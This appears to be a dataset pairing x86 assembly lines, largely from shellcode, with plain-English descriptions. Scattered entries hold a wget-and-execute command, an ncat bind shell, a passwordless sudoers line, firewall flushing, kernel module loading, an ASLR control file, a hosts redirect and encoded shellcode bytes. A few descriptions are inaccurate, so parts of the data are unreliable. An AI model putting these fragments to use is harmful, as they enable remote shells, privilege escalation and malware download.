+cmp eax, ebx \n jne retry	if the contents of the eax register is not equal to the contents of the ebx register then jump to the retry label
+cmp eax, edi \n jne infinite	jump to the infinite label if the contents of the eax register is not equal to the contents of the edi register
+cmp eax, edi \n jne infinite	if the contents of the eax register is not equal to the contents of the edi register then jump to the infinite label
+cmp eax, edi \n jne infinite \n xor eax, eax	jump to the infinite label if the contents of the eax register is not equal to the contents of the edi register else zero out the eax register
+cmp eax, edi \n jne infinite \n xor eax, eax	if the contents of the eax register is not equal to the contents of the edi register then jump to the infinite label else zero out the eax register
+cmp eax,ebx	compare the contents of eax with ebx
+cmp ebp, 0	compare the contents of the ebp register with the value 0
+cmp ebx, 0	compare if ebx is zero
+cmp ebx, 9 \n ja exit \n jmp loop	jump to the exit label if the unsigned contents of the ebx register is greater than the unsigned value 10 else jump to the loop label
+cmp ebx, 9 \n ja exit \n jmp loop	if the unsigned contents of the ebx register is greater than the unsigned value 10 then jump to the exit label else jump to the loop label
+cmp ecx, 0	compare ecx to 0
+cmp ecx, 0	compare if ecx is zero
+cmp ecx, 0h	compare ecx with 0h
+cmp ecx, 10	compare if ecx is equal to 10
+cmp ecx, 100	compare if ecx is equal to 100
+cmp ecx, 100	compare if our counter is equal to 100
+cmp ecx, 5	compare ecx with 5
+cmp ecx, ebp	compare ecx and ebp
+cmp ecx, ebp	compare the contents of the ecx register with the contents of the ebp register
+cmp ecx, edx \n ja l1	jump to the l1 label if the unsigned contents of the ecx register is greater than the unsigned contents of the edx register
+cmp ecx, edx \n ja l1	if the unsigned contents of the ecx register is greater than the unsigned contents of the edx register then jump to the l1 label else
+cmp edi, 0	compare if edi is equal to 0
+cmp edx, 0	compare if edx is zero
+cmp edx, 0x43 \n ja loop \n push edx	jump to the loop label if the unsigned contents of the edx register is greater than the unsigned value 0x43 else push the contents of the edx register onto the stack
+cmp edx, 0x43 \n ja loop \n push edx	if the unsigned contents of the edx register is greater than the unsigned value 0x43 then jump to the loop label else push the contents of the edx register onto the stack
+cmp edx, 10	compare whether the edx register has reached 10
+cmp edx, 42	compare the contents of edx to 42
+cmp edx, 42 \n je short loc_402B13	jump to loc_402B13 if the contents of the edx register is equal to 42
+cmp edx, 42 \n je short loc_402B13	if the contents of the edx register is equal to 42 then jump to loc_402B13
+cmp edx, ebx	compare the contents of edx and the contents of ebx
+cmp edx, ebx \n je 0x8 \n	jump to the memory address 0x8 if the contents of the edx register is equal to the contents of the ebx register
+cmp edx, ebx \n je 0x8 \n	if the contents of the edx register is equal to the contents of the ebx register then jump to the memory address 0x8
+cmp edx, ebx \n je 0x8 \n mov ebx, edx	jump to the memory address 0x8 if the contents of the edx register is equal to the contents of the ebx register else move the contents of the edx register into the ebx register
+cmp edx, ebx \n je 0x8 \n mov ebx, edx	if the contents of the edx register is equal to the contents of the ebx register then jump to the memory address 0x8 else move the contents of the edx register into the ebx register
+cmp esi, 10	compare if esi is equal to 10
+cmp esi, edx \n je find_egg	jump to the find_egg label if the contents of the esi register is equal to the contents of the edx register
+cmp word [ecx], 0x5951	compare the word at the address ecx and 0x5951
+code:	define the code label
+connect:	define connect function
+cont:	define the cont label
+contents db 'hello world!', 0h	define a string db and initialize to 'hello world!'
+createfile:	declare the createfile label
+createfile:	define createfile function
+cycle:	declare the cycle label
+cycle:	define cycle label
+data:	declare the data label
+db ',ajm,pk#########'	define the byte string ',ajm,pk#########'
+db '/bin/sh'	define a byte string and initialize it to '/bin/sh'
+db '/bin/sh#sh#'	define the byte string '/bin/sh#sh#'
+db '/proc/sys/kernel/randomize_va_spacex'	define the byte string '/proc/sys/kernel/randomize_va_spacex'
+db '/sbin/insmod#/tmp/o.o'	define the byte string '/sbin/insmod#/tmp/o.o'
+db '/sbin/ipchains#-f#'	define the byte string '/sbin/ipchains#-f#'
+db '/sbin/iptables#-f#'	define the byte string '/sbin/iptables#-f#'
+db '/usr/bin/ncat#-lvp1337#-e/bin/bash#aaaabbbbccccdddd'	define the byte string '/usr/bin/ncat#-lvp1337#-e/bin/bash#aaaabbbbccccdddd'
+db '0',10	define the byte string '0',10
+db 'my.txtx'	define the byte string 'my.txtx'
+db '/bin/sh'	define the byte string '/bin/sh'
+db '/etc/passwd#'	define the byte string '/etc/passwd#'
+db 'all all=(all) nopasswd: all', 0xa	define the byte string 'all all=(all) nopasswd: all'
+db 'cp /bin/sh /tmp/sh'	define the byte string 'cp /bin/sh /tmp/sh'
+db 'egg mark'	define the byte string 'egg mark'
+db 'egg mark'	initialize a string to 'egg mark'
+db 'rm -f /tmp/f'	define the byte string 'rm -f /tmp/f'
+db 0x3e,0xcd,0x5d,0x75,0x3c,0x3c,0x80,0x75,0x75,0x3c,0x6f,0x76,0x7b	define an array of bytes and initialize it to 0x3e,0xcd,0x5d,0x75,0x3c,0x3c,0x80,0x75,0x75,0x3c,0x6f,0x76,0x7b
+db 0x68	declare a byte contining 0x68
+db 0x68	declare a byte with no label containing the value 0x68
+db 0x80	declare a byte and initialize it to 0x80
+db 0x80	declare an unlabeled byte initialized to 0x80
+db 0x96,0xf0,0x5d,0x96,0xef,0x60,0x96,0xee,0xbd,0x18,0xda,0x8d	define an array of bytes and initialize it to 0x96,0xf0,0x5d,0x96,0xef,0x60,0x96,0xee,0xbd,0x18,0xda,0x8d
+db 0xcd	define a byte and initialize it to 0xcd
+db 0xcd	define the byte 0xcd
+db 10	declare a byte with no label containing the value 10
+db 10	declare an unlabeled byte initialized to 10
+dd 0xdeadbeef	define a byte and initialize it to 0xdeadbeef
+dec byte dl	decrement the byte at the address dl by one
+dec byte dl	decrement the byte in dl
+dec cl	decrement the cl register by one
+dec cl	decrement the contents of cl
+dec cl	decrement the contents of the cl register
+dec cl \n jns dup2	decrement the contents of the cl register and jump to the dup2 label if the result is not negative
+dec cl \n jns loop_dup	decrement the contents of the cl register and jump to the loop_dup label if the result is not negative
+dec cl \n jns loopinghere	decrement the contents of the cl register and jump to the loopinghere label if the result is not negative
+dec dl	decrement the dl register by one
+dec eax	decrement eax
+dec eax	decrement the contents of the eax register
+dec eax	decrement the eax register by one
+dec eax	subtract one from the contents of eax
+dec ebp	decrement ebp
+dec ebx	decrement ebx
+dec ebx	decrement the ebx register by one
+dec ebx	subtract one from the contents of ebx
+dec ecx	decrement ecx
+dec ecx	decrement ecx by 1
+dec ecx	decrement the contents of the ecx register
+dec ecx	decrement the ecx register by one
+dec ecx \n jns _dup2_loop	decrement the contents of the ecx register and jump to the _dup2_loop label if the result is not negative
+dec ecx \n jns 2f_loop	decrement the contents of the ecx register and jump to the 2f_loop label if the result is not negative
+dec ecx \n jns dup2	decrement the contents of the ecx register and jump to the dup2 label if the result is not negative
+dec ecx \n jns dup2loop	decrement the contents of the ecx register and jump to the dup2loop label if the result is not negative
+dec ecx \n jns dup2loop	decrement ecx by 1 and jump to the dup2loop procedure until ecx equals 0
+dec ecx \n jns duploop	decrement the contents of the ecx register and jump to the duploop label if the result is not negative
+dec ecx \n jns loop	decrement the contents of the ecx register and jump to the loop label if the result is not negative
+dec ecx \n jns loop2	decrement the contents of the ecx register and jump to the loop2 label if the result is not negative
+dec ecx \n jz counter_is_now_zero	decrement the contents of the ecx register and jump to the counter_is_now_zero label if the result is zero
+dec edx	decrement edx
+dec edx	decrement the edx register by one
+dec esp	decrement esp
+dec esp	decrement the esp register by one
+decode_pr:	define decode_pr label
+decode:	declare the decode label
+decode:	define decode function
+decode:	define decode label
+decoded_shellcode:	define decoded_shellcode function
+decoder:	declare the decoder function
+decoder:	declare the decoder label
+decoder:	define decoder function
+decoder:	define decoder label
+decrypt:	declare the decrypt label
+dim: equ 25	declare a constant size and set equal to 25
+dim: equ 512	define dim to be 512 bytes large
+div dword [value]	divide the contents of eax by the word value stored at memory location value
+div dword [var]	divide the contents of in eax by by the word value stored at memory location var
+div ebx	divide eax by ebx
+div ebx	divide the contents of eax by the contents of ebx
+div ecx	divide eax by ecx
+div ecx	divide eax by ecx the result of the division is stored in eax and the remainder in edx
+div edx	divide eax by value in edx
+div esi	divide eax by esi
+do_dup:	declare the do_dup label
+do_dup:	define do_dup label
+doit:	declare the doit label
+done:	declare the done label
+download:	declare the download label
+download:	define download function
+dup2:	declare the dup2 label
+dup2:	define dup2 function
+dup2loop:	delcare the dup2loop label
+duploop:	declare the duploop label
+duploop:	define duploop function
+egg equ 'egg '	define egg equal to 'egg '
+egg1 equ 'mark'	define egg1 equal to 'mark'
+egghunter:	declare the egghunter label
+enc:	declare the enc label
+encodedshellcode: db 0x32,0x51,0x30,0x74,0x69,0x63,0x6f,0xe4,0x8a,0x54,0xe2,0x0c,0x81,0xc1,0x69,0x30,0x69,0x30,0x6a,0x8a,0x51,0xe3,0x8a,0xb1,0xce	define the array of bytes encodedshellcode and initialize it to 0x32,0x51,0x30,0x74,0x69,0x63,0x6f,0xe4,0x8a,0x54,0xe2,0x0c,0x81,0xc1,0x69,0x30,0x69,0x30,0x6a,0x8a,0x51,0xe3,0x8a,0xb1,0xce
+encodedshellcode: db 0x4e,0xc1,0x51,0x2f,0x58,0x3c,0xdb,0xac,0xef,0x82,0xef,0x1c,0x2a,0xd9,0xdb,0x90,0xdb,0x6b,0xef,0x61,0x3b,0x1c,0xcb,0x24,0xfb,0xd6,0xc5,0x50,0x23,0xfa,0x58,0x9c,0xc5,0xb1,0x33,0x97,0x28,0x31,0xc5,0xaa,0x43,0xf9,0x56,0xf4,0xad,0xc2,0x02,0x16,0x55,0xe3	define the array of bytes encodedshellcode and initialize it to 0x4e,0xc1,0x51,0x2f,0x58,0x3c,0xdb,0xac,0xef,0x82,0xef,0x1c,0x2a,0xd9,0xdb,0x90,0xdb,0x6b,0xef,0x61,0x3b,0x1c,0xcb,0x24,0xfb,0xd6,0xc5,0x50,0x23,0xfa,0x58,0x9c,0xc5,0xb1,0x33,0x97,0x28,0x31,0xc5,0xaa,0x43,0xf9,0x56,0xf4,0xad,0xc2,0x02,0x16,0x55,0xe3
+encrypt:	declare the encrypt label
+end:	declare the end label
+entrypoint:	declare the entrypoint label
+even_number:	define even_number function
+execfile:	declare the execfile label
+execfile:	define execfile function
+execute:	declare the execute label
+exit_call equ 1	define exit_call equal to 1
+exit_on_error:	declare the exit_on_error label
+exit:	declare the exit label
+exit:	define exit function
+exit:	define the exit label
+file: db '/sbin/iptables#-f'	define file as the byte string '/sbin/iptables#-f'
+fileaddress:	declare the fileaddress label
+filecontents: resb 128	reserve filecontents variable of 128 bytes
+filename: db 'readme.txt', 0h	create a string filename and initialize to 'readme.txt'
+filename: resb 255	reserve a variable filename of 255 bytes
+fill:	declare the fill label
+fill:	define fill label
+find_egg:	declare the find_egg label
+find_egg:	define find_egg function
+format:	declare the format label
+format:	define format label
+formatting:	declare the formatting label
+formatting:	define formatting label
+four:	declare the four label
+fupdisasm:	define fupdisasm function
+fupdisasm:	define fupdisasm label
+get:	declare the get label
+global _shell	declare _shell as global label
+global _star	declare of the global _star
+global _start	declare _start as global label
+global _start	declare global _start
+global _start	global _start
+global _start:	declare the global _start label
+google db '127.1.1.1 google.com'	define google as the byte string '127.1.1.1 google.com'
+google: db '127.1.1.1 google.com'	define the byte string google and initialize it to '127.1.1.1 google.com'
+gotocall:	declare the gotocall label
+hello: db 'hello world!',10	create a string 'hello world!' plus a linefeed character
+hellolen: equ $-hello	define hellolen equal to the length of the hello string
+here:	declare the here label
+here:	define here label
+inc [count]	increment the count variable
+inc al	increment the contents of the al register
+inc ax	add 1 to ax
+inc ax	increment ax
+inc ax	increment the contents of the ax register
+inc bl	increment the contents of the bl register
+inc bx	increment bx
+inc bx	increment the contents of the bx register
+inc byte [esp+ecx]	increment the byte at the address [esp+ecx] by one
+inc cl	increment the contents of the cl register
+inc count	increment the memory variable count
+inc dl	increment dl
+inc dl	increment dl register
+inc dl	increment the contents of the dl register
+inc dword [tmp]	add one to the doubleword integer stored at memory location tmp
+inc dword [value]	add one to the doubleword integer stored at memory location value
+inc dword [var]	add one to the doubleword integer stored at location var
+inc dx	increment the contents of the dx register
+inc eax	increment eax
+inc eax	increment the address in eax by one byte
+inc eax	increment the contents of the eax register
+inc ebx	increment ebx
+inc ebx	increment ebx register
+inc ebx	increment the contents of the ebx register
+inc ecx	increment ecx
+inc ecx	increment the contents of the ecx register
+inc edi	increment edi
+inc edi	increment the contents of the edi register
+inc edx	increment edx
+inc edx	increment the contents of the edx register
+inc esi	increment esi
+inc esi	increment the contents of the esi register
+inc esp	increment the contents of the esp register
+inc_dec:	declare inc_dec function
+incaddr:	declare the incaddr label
+incpage:	declare incpage function
+init:	declare the init label
+int 0x80	call kernel
+int 0x80	execute execve syscall
+int 0x80	execute execve with system call interrupt
+int 0x80	execute exit syscall
+int 0x80	execute the reboot syscall
+int 0x80	make the kernel call
+int 0x80	make the system call
+int 0x80	make the system call to the kernel
+int 0x80	system call interrupt
+int 0x80	system call interrupt 0x80
+int 80h	call sys_read
+int 80h	call sys_read to fill the buffer
+int 80h	call sys_write
+int 80h	call the kernel
+int 80h	make kernel call to display line string
+int 80h	make kernel call to exit program
+int 80h	make sys_exit kernel call
+int 80h	make sys_write kernel call
+int 80h	make syscall to output the text to stdout
+int 80h	make syscall to terminate the program
+int 80h	make the syscall to terminate the program
+int 80h	make the system calls to the kernel
+ja exi	jump to exi if greater
+ja exit	jump to the exit label if the destination operand is greater than the source operand in the above comparison
+ja next	jump to next label if the destination is greater than the source in the above comparison
+ja write	jump to write if greater
+jb 0xf3	perform an unsigned comparison and jump to 0xf3 if lower
+jb modtest	jump to label modtest if below
+jb next	jump to label next if below
+jb write	jump to label write if below
+jbe done	jump to label done if below or equal
+je all	jump to the all label if the operands of the above comparison are equals
+je connec	jump to connect if equal
+je connect	jump to the connect label if the operands of the above comparison are equals
+je continue	if equal jump to label continue
+je continue	jump to label continue if equal
+je done	jump to label done if equal
+je even_number	jump to even_numer if greater
+je exit	jump to label exit if equal to 0
+je exit	jump to the exit label if the operands of the above comparison are equals
+je l7	if equal then jump to label l7
+je short encodedshellcode	jump short to encodedshellcode if equal
+je short loc_402b13	jump to loc_402b13 if equal
+je stop	jump to label stop if equal
+jeq loop	jump to the code location labeled loop if the operands of the previous comparison are equal
+jg finished	jump if greater than to label finished
+jl _while_loop	jump to the _while_loop if lower
+jl _while_loop	jump to the _while_loop label if the destination operand is less than the source operand in the above comparison
+jl finished	jump if less than to label finished
+jl wrap_around	jump to the wrap_around label if the destination operand is less than the source operand in the above comparison
+jle lp1	if it is less than or equal to 10 then jump to lp1
+jmp _accept	jump to label _accept
+jmp _read	jump to _read
+jmp _return	jump to the _return label
+jmp _star	jump to _star
+jmp _start	jump to the _start label
+jmp _while_loop	jump to the _while_loop label
+jmp aslr_file	jump to the aslr_file label
+jmp begin	jump to the instruction labeled begin
+jmp call_egghunter	jump to the call_egghunter label
+jmp callpop	jump to callpop
+jmp callpop	jump to the callpop label
+jmp callz	jump to the callz label
+jmp carryon	jump to the carryon label
+jmp connec	jump to connec
+jmp data	jump to the data label
+jmp eax	jump to eax
+jmp eax	jump to the value stored in the eax register
+jmp ecx	jump to ecx
+jmp edi	jump to edi
+jmp edi	jump to the edi label
+jmp edx	jump to edx
+jmp encrypt	jump to the encrypt label
+jmp entrypoint	jump to the entrypoint label
+jmp esp	jump to the esp label
+jmp fupdisasm+1	jump to fupdisasm+1
+jmp fupdisasm+1	jump to the address specified by the operation fupdisasm+1
+jmp fupdisasm+3	jump to the address specified by the operation fupdisasm+3
+jmp jocker	jump to the jocker label
+jmp l20	jump to label l20
+jmp loop	jump to the label loop
+jmp multiplyloop	jump to label multiplyloop
+jmp nextarg	jump to nextarg label
+jmp nextchar	jump to the point in the code labeled nextchar
+jmp one	jump to the one label
+jmp read	jump to label read
+jmp read	jump to the label read
+jmp read	jump to the read label
+jmp reading	jump to the reading label
+jmp shell	jump to the shell label
+jmp shellcode	jump to shellcode
+jmp shellcode	jump to the shellcode label
+jmp short _cmd	jump short to the _cmd label
+jmp short _execline	jump short to the _execline label
+jmp short _file	jump short to the _file label
+jmp short _load_data	jump short to _load_data label
+jmp short _load_data	jump short to the _load_data label
+jmp short _star	jump short to _star label
+jmp short _start	jump short to the _start label
+jmp short .exit	jump short to the .exit label
+jmp short 0x11	jump short to 0x11
+jmp short 0x2c	jump short to 0x2c
+jmp short 0x34	jump short to 0x34
+jmp short 0x63	jump short to 0x63
+jmp short call_decoder	jump short to call_decoder
+jmp short call_decoder	jump short to the call_decoder label
+jmp short call_shellcode	jump short to call_shellcode
+jmp short call_shellcode	jump short to the call_shellcode label
+jmp short call_write	jump short to the call_write label
+jmp short callit	jump short to the callit label
+jmp short callme	jump short to the callme label
+jmp short cmd	jump short to the cmd label
+jmp short cycle	jump short to cycle label
+jmp short cycle	jump short to the cycle label
+jmp short decode	jump short to decode
+jmp short decode	jump short to the decode label
+jmp short decode_pr	jump short to the decode_pr label
+jmp short enc	jump short to the enc label
+jmp short end	jump short to the end label
+jmp short exi	jump short to exi label
+jmp short fileaddress	jump short to the fileaddress label
+jmp short formatting	jump short to the formatting label
+jmp short four	jump short to the four label
+jmp short get	jump short to the get label
+jmp short gotocall	jump short to the gotocall label
+jmp short here	jump short to the here label
+jmp short inc_dec	jump short to inc_dec
+jmp short main	jump short to the main label
+jmp short output	jump short to the output label
+jmp short path	jump short to the path label
+jmp short process_shellcode	jump short to the process_shellcode label
+jmp short push_cmd	jump short to push_cmd
+jmp short push_cmd	jump short to the push_cmd label
+jmp short read	jump short to the read label
+jmp short rotate	jump short to the rotate label
+jmp short search	jump short to the search label
+jmp short setup	jump short to the setup label
+jmp short shellcode	jump short to shellcode
+jmp short shellcode	jump short to the shellcode label
+jmp short stage	jump short to stage
+jmp short stage	jump short to the stage label
+jmp short three	jump short to the three label
+jmp short todo	jump short to the todo label
+jmp short two	jump short to the two label
+jmp two	jump to the two label
+jmp two	jump to two
+jmp_search:	define the jmp_search label
+jnc 0x86	jump to 0x86 if the carry flag is zero
+jnc 0xd8	jump to 0xd8 it the carry flag is zero
+jne _nex	if not equal jump to the _nex label
+jne _next	jump to the _next label if the operands of the above comparison are not equals
+jne 804809a	jump to 804809a if not equal
+jne 80480aa	jump to 80480aa if not equal
+jne checkbuzz	if the remainder is not equal to zero jump to local label checkbuzz
+jne checkint	if the remainder is not equal to zero jump to local label checkint
+jne loop	jump to the address specified by the label loop if the operands are not equals in the previous comparison
+jne next_addr	jump to the next_addr label if the operands of the above comparison are not equals
+jne nextnumber	if not equal jump to the label nextnumber
+jne no_error	jump to the label no_error if not equal
+jne retry	jump to retry if not equal
+jne short _while_loop	if not equal jump short to the _while_loop
+jne short _while_loop	jump to the _while_loop label if the operands of the above comparison are not equals
+jns _dup2_loop	jump to the _dup2_loop label if the previous instruction clears the sign flag
+jns 2f	jump to 2f if the sign flag is zero
+jns 3f	jump to 3f if the sign flag is zero
+jns decode_pr	jump to decode_pr if not signed
+jns dup2	jump to dup2 if not negative
+jns dup2	jump to the dup2 label if the previous instruction clears the sign flag
+jns duploop	jump to duploop if not negative
+jns duploop	jump to the duploop label if the previous instruction clears the sign flag
+jns loop	jump to the loop label if the previous instruction clears the sign flag
+jns loopinghere	jump to the loopinghere label if the previous instruction clears the sign flag
+jnz _start	jump to the _start label if the zero flag is cleared
+jnz 0x41	jump to 0x41 if not zero
+jnz 0x8	jump to 0x8 if not zero
+jnz 1	if not zero jump to numeric label 1
+jnz 1	jump to the numeric label 1 if the zero flag is cleared
+jnz decode	jump to the decode label if the zero flag is cleared
+jnz exeunt	jump to exeunt if not zero
+jnz exit_on_error	jump to the exit_on_error label if the zero flag is cleared
+jnz incaddr	increment address if no match
+jnz incaddr	jump to incaddr if no match
+jnz l00p	jump to the l00p label if the zero flag is cleared
+jnz loop	jump to loop if not equal to zero
+jnz loop	jump to the loop label if the zero flag is cleared
+jnz next_addr	jump to next_addr if not zero
+jnz next_cycle	if not zero jump to the next_cycle label
+jnz next_cycle	jump to the next_cycle label if the zero flag is cleared
+jnz scan	if not 0 then jump to the scan label
+jnz short _paren	if not zero jump short to the _paren label
+jnz short _parent	jump short to the _parent label if the zero flag is cleared
+jnz short decode	jump short to decode if not zero
+jnz short decode	jump short to the decode label if the zero flag is cleared
+jnz short loc_4010e5	if not zero jump to loc_4010e5
+jnz stage	jump to the stage label if the zero flag is cleared
+jnz top	if not 0 then jump to the top label
+jocker:	declare the jocker label
+js error	jump to error label if sign flag SF is equal to 1
+jz _close	jump to the label _close if the zero flag is set
+jz _read	jump to the label _read if the zero flag is set
+jz _start	jump to the _start label if the zero flag is set
+jz 0x8	jump to 0x8 if zero
+jz call_decoded	jump to the call_decoded label if the zero flag is set
+jz child	if zero jump to the child label
+jz child	jump to child if zero
+jz child	jump to label child if the zero flag is set
+jz child	jump to the child label if the zero flag is set
+jz decoded_shellcode	jump to decoded if zero
+jz download	jump to download if zero
+jz download	jump to the download label if the zero flag is set
+jz encoded	if zero jump to the encoded label
+jz encoded	jump to the encoded label if the zero flag is set
+jz exit	jump to the exit label if the zero flag is set
+jz find_egg	jump to find_egg if zero
+jz find_egg	jump to the find_egg label if the zero flag is set
+jz finished	jump to the point in the code labeled finished if zero
+jz formatting	if zero jump to the formatting label
+jz formatting	jump to the formatting label if the zero flag is set
+jz incpage	jump to incpage if equal
+jz next_cycle	if zero jump to the next_cycle label
+jz next_cycle	jump to the next_cycle label if the zero flag is set
+jz next_page	jump to next_page if zero
+jz nomoreargs	if zero flag is set jump to nomoreargs label
+jz shift_decode	if zero jump to the shift_decode label
+jz shift_decode	jump to the shift_decode label if the zero flag is set
+jz short loc_402b13	if 0 then jump to loc_402b13
+key equ 0xdeadbeef	define key constant equal to 0xdeadbeef
+l00p:	declare the l00p label
+lea bx, [bp+0x08]	load the effective address of the operation [bp+0x08] into the bx register
+lea bx, [bp+0x0b]	load the effective address of the operation bp+0x0b] into the bx register
+lea cx, [bp+di+0x32]	load the effective address of the operation [bp+di+0x32] into the cx register
+lea dx, [bp+di+0x3e]	load the effective address of the operation [bp+di+0x3e] into the dx register
+lea eax, [ebx+0xf]	load the effective address of the result of the operation [ebx+0xf] into the eax register
+lea eax, [ebx+17h]	load the effective address of the result of the operation [ebx+17h] into the eax register
+lea eax, [ebx+8]	put the address of ebx+8 into eax
+lea eax, [ecx+0bh]	load the effective address of the result of the operation [ecx+0bh] into the eax register
+lea eax, [ecx+4]	load the effective address of the result of the operation [ecx+4] into the eax register
+lea eax, [val]	place the value val in eax
+lea eax, [var]	place the address of var in eax
+lea eax, [var]	place the value in var in eax
+lea eax, [zero_reg+3]	load the effective address [zero_reg+3] into eax
+lea eax, [zero_reg+3]	load the effective address of the result of the operation [zero_reg+3] into the eax register
+lea eax, [zero_reg+6]	load the effective address [zero_reg+6] into eax
+lea eax, [zero_reg+6]	load the effective address of the result of the operation [zero_reg+6] into the eax register
+lea eax, [zero_reg+66h]	load the effective address [zero_reg+66h] into eax
+lea eax, [zero_reg+66h]	load the effective address of the result of the operation [zero_reg+66h] into the eax register
+lea eax,[ebx+0xb]	load the effective address of the operation [ebx+0xb] into the eax register
+lea ebp,[ebp+0x59]	load the effective address of the operation [ebp+0x59] into the ebp register
+lea ebx, [ebp-8]	load the effective address [ebp-8] into ebx
+lea ebx, [ebp-8]	load the effective address of ebp-8 into the ebx register
+lea ebx, [ebp+24]	load the effective address [ebp+24] into ebx
+lea ebx, [ebp+24]	load the effective address of the result of the operation [ebp+24] into the ebx register
+lea ebx, [ebp+39]	load the effective address [ebp+39] into ebx
+lea ebx, [ebp+39]	load the effective address of the result of the operation [ebp+39] into the ebx register
+lea ebx, [edx+0x4]	load the effective address of edx+0x4 into ebx
+lea ebx, [esi]	load the effective address of esi into the ebx register
+lea ebx, [esi+13]	load the effective address of the result of the operation [esi+13] into the ebx register
+lea ebx, [esi+14]	load the effective address of the result of the operation [esi+14] into the ebx register
+lea ebx, [esi+15]	load the effective address [esi+15] into ebx
+lea ebx, [esi+15]	load the effective address of the result of the operation [esi+15] into the ebx register
+lea ebx, [esi+23]	load the effective address of the result of the operation [esi+23] into the ebx register
+lea ebx, [esp +1]	load the effective address [esp+1] into ebx
+lea ebx, [esp +1]	load the effective address of the result of the operation [esp +1] into the ebx register
+lea ebx, [esp]	load the effective address of esp into ebx
+lea ebx, [esp]	load the effective address of esp into the ebx register
+lea ebx, [zero_reg+3]	load the effective address [zero_reg+3] into ebx
+lea ebx, [zero_reg+3]	load the effective address of the result of the operation [zero_reg+3] into the ebx register
+lea ecx, [eax]	load the effective address of the result of the operation [eax] into the ecx register
+lea ecx, [ebp+28]	load the effective address [ebp+28] into ecx
+lea ecx, [ebp+28]	load the effective address of the result of the operation [ebp+28] into the ecx register
+lea ecx, [ebx+0xff]	load the value of ebx+0xff into register ecx
+lea ecx, [ebx+8]	load the effective address of ebx+8 into ecx
+lea ecx, [esi + 8]	load the effective address of the result of the operation [esi + 8] into the ecx register
+lea ecx, [esi+18]	load the effective address [esi+18] into ecx
+lea ecx, [esi+18]	load the effective address of the result of the operation [esi+18] into the ecx register
+lea ecx, [esi+22]	load the effective address of the result of the operation [esi+22] into the ecx register
+lea ecx, [esi+35]	load the effective address of the result of the operation [esi+35] into the ecx register
+lea ecx, [esi+8]	load the effective address of the result of the operation [esi+8] into the ecx register
+lea ecx, [esp]	load the effective address of esp into the ecx register
+lea ecx, [zero_reg+117]	load the effective address [zero_reg+117] into ecx
+lea ecx, [zero_reg+117]	load the effective address of the result of the operation [zero_reg+117] into the ecx register
+lea ecx, [zero_reg+3]	load the effective address [zero_reg+3] into ecx
+lea ecx, [zero_reg+3]	load the effective address of the result of the operation [zero_reg+3] into the ecx register
+lea edi, [ebx]	load the effective address [ebx] into edi
+lea edi, [ebx]	load the effective address of ebx into the edi register
+lea edi, [ebx+4*esi]	place the quantity ebx+4*esi in edi
+lea edi, [ebx+4*esi]	place the value ebx+4*esi in edi
+lea edi, [esi + 13]	load the effective address of the result of the operation [esi + 13] into the edi register
+lea edi, [esi +1]	load the effective address of [esi + 1] into the edi register
+lea edi, [esi]	load the effective address [esi] into edi
+lea edi, [esi+13]	load the effective address of esi+13 into esi+13
+lea edx, [ebx+12]	load the effective address of ebx+12 into edx
+lea edx, [esi + 12]	load the effective address of the result of the operation [esi + 12] into the edx register
+lea edx, [esi+26]	load the effective address [esi+26] into edx
+lea edx, [esi+26]	load the effective address of the result of the operation [esi+26] into the edx register
+lea edx, [esi+30]	load the effective address of the result of the operation [esi+30] into the edx register
+lea edx, [esi+47]	load the effective address of the result of the operation [esi+47] into the edx register
+lea esi, [ebp+20]	load the effective address [ebp+20] into esi
+lea esi, [ebp+20]	load the effective address of the result of the operation [ebp+20] into the esi register
+lea esi, [esi +4]	load the effective address of the result of the operation [esi +4] into the esi register
+lea esi, [esi+4]	load the effective address [esi+4] into esi
+lea esp, [ebx]	load the value of register ebx into register esp
+len equ $ - msg	define len equal to the length of msg
+len equ $-encodedshellcode	define len equal to the lenght of the encodedshellcode array
+len: equ $-google	declare the len label equal to the size of the google variable
+len: equ $-shellcode	declare the len label equal to the length of shellcode
+letter_c db 'c'	allocate a single byte of memory and initialize it to the letter 'c'
+line db '/usr/bin/wget http://127.0.0.1:8080/evilfile && /bin/chmod 777 evilfile && ./evilfile', 0x0a	define line as the byte string '/usr/bin/wget http://127.0.0.1:8080/evilfile && /bin/chmod 777 evilfile && ./evilfile', 0x0a
+loader:	declare the loader label
+loop .3	decrement the counter and jump to .3 label if the count is not zero
+loop 3	decrement ecx and jumps to the 3 label unless decrementing ecx caused its value to become zero
+loop bucle	decrement the ecx register and jump to the bucle label if the counter is not zero
+loop check_even_odd	decrement the count register and jump to check_even_odd if the count is not equal to zero
+loop check_even_odd \n jmp short shellcode	decrement the ecx register and jump to the check_even_odd label if the contents of the ecx register is not zero else jump short to the shellcode label
+loop decode	decrement ecx and jumps to the decode label unless decrementing ecx caused its value to become zero
+loop decode	decrement the count register and jump to decode if not equal zero
+loop decode \n jmp edx	decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump to the edx register
+loop decode \n jmp EncodedShellcode	decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump to the EncodedShellcode label
+loop decode \n jmp Shellcode	decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump to the Shellcode label
+loop decode \n jmp short shellcode	decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump short to the shellcode label
+loop decrypt	decrement ecx and jumps to the decrypt label unless decrementing ecx caused its value to become zero
+loop decrypt \n jmp encrypt	decrement the ecx register and jump to the decrypt label if the contents of the ecx register is not zero else jump short to the encrypt label
+loop do_dup	decrement ecx and jumps to the do_dup label unless decrementing ecx caused its value to become zero
+loop do_dup	decrement the counter and jump to the do_dup label if the count is not zero
+loop do_dup \n push byte 0x3f	decrement the ecx register and jump to the do_dup label if the contents of the ecx register is not zero else push the byte 0x3f onto the stack
+loop eggLoop \n jmp edi	decrement the ecx register and jump to the eggLoop label if the contents of the ecx register is not zero else jump to the edi register
+loop fill	decrement ecx and jumps to the fill label unless decrementing ecx caused its value to become zero
+loop fill	decrement the counter and jump to the fill label if the count is not zero
+loop fill \n mov ecx, esp	decrement the ecx register and jump to the fill label if the contents of the ecx register is not zero else move the contents of the esp register into the ecx register
+loop l1 \n mov eax, esp	decrement the ecx register and jump to the l1 label if the contents of the ecx register is not zero else move the contents of the esp register into the eax register
+loop l1 \n mov eax, esp	decrement the ecx register and jump to the l1 label if the contents of the ecx register is not zero else point the eax register to the stack register
+loop l2 \n jmp edi	decrement the ecx register and jump to the l2 label if the contents of the ecx register is not zero else jump to the edi register
+loop l2 \n mov ebx, esp	decrement the ecx register and jump to the l2 label if the contents of the ecx register is not zero else move the contents of the esp register into the ebx register
